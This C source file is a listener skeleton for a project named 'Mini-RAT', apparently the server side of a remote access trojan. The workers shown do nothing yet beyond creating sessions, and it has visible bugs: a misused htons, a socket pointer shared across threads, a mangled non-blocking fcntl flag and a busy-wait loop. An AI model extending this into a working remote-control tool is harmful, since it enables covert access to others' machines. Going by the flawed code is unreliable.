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#include <server.h>
#include <session.h>
#include <logging.h>
#include <mini-rat.h>
void* listener(void *port) {
uint16_t port_num = *(int*)port;
int server_sock = socket(PF_INET, SOCK_STREAM, 0);
struct sockaddr_in client_name;
unsigned int client_name_len = sizeof(client_name);
struct sockaddr_in name;
memset(&name, 0, sizeof(name));
name.sin_family = AF_INET;
name.sin_port = htons(port_num);
name.sin_addr.s_addr = htons(INADDR_ANY);
if (bind(server_sock, (struct sockaddr*)&name, sizeof(name)) < 0) {
log_msg(LOG_SEVERE, "Cannot bind to port %d\n", port_num);
return NULL;
}
listen(server_sock, 5);
log_msg(LOG_INFO, "Mini-RAT running on port %d\n", port_num);
int client_sock = 0;
pthread_t newthread;
while ((client_sock = accept(server_sock, (struct sockaddr*)&client_name, &client_name_len))) {
pthread_create(&newthread, NULL, worker, (void*)&client_sock);
pthread_detach(newthread);
}
close_logfile();
close(server_sock);
return 0;
}
void* worker(void *sock_desc) {
int sock = *(int*)sock_desc;
fcntl(sock, F_SETFL, fcntl(sock, F_GETFL, 0) & O_NONBLOCK);
struct session *ses = find_session(init_session(sock));
log_msg(LOG_INFO, "New session created with ID=%d\n", ses->id);
// TODO: have this thread actually do something
while (ses->alive == 1);
return 0;
}
ssize_t output_pump(int sock, char *buffer, size_t sz) {
struct pollfd pfd[1];
pfd[0].fd = sock;
pfd[0].events = POLLIN;
int status = poll(pfd, 1, 15000);
if (status < 0)
return -1;
else if (pfd[0].revents & POLLIN)
return send(sock, buffer, sz, 0);
return 0;
}
ssize_t input_pump(int sock, char *buffer, size_t sz) {
struct pollfd pfd[1];
pfd[0].fd = sock;
pfd[0].events = POLLIN;
int status = poll(pfd, 1, 15000);
if (status < 0)
return -1;
else if (pfd[0].revents & POLLIN)
return recv(sock, buffer, sz, 0);
return 0;
}
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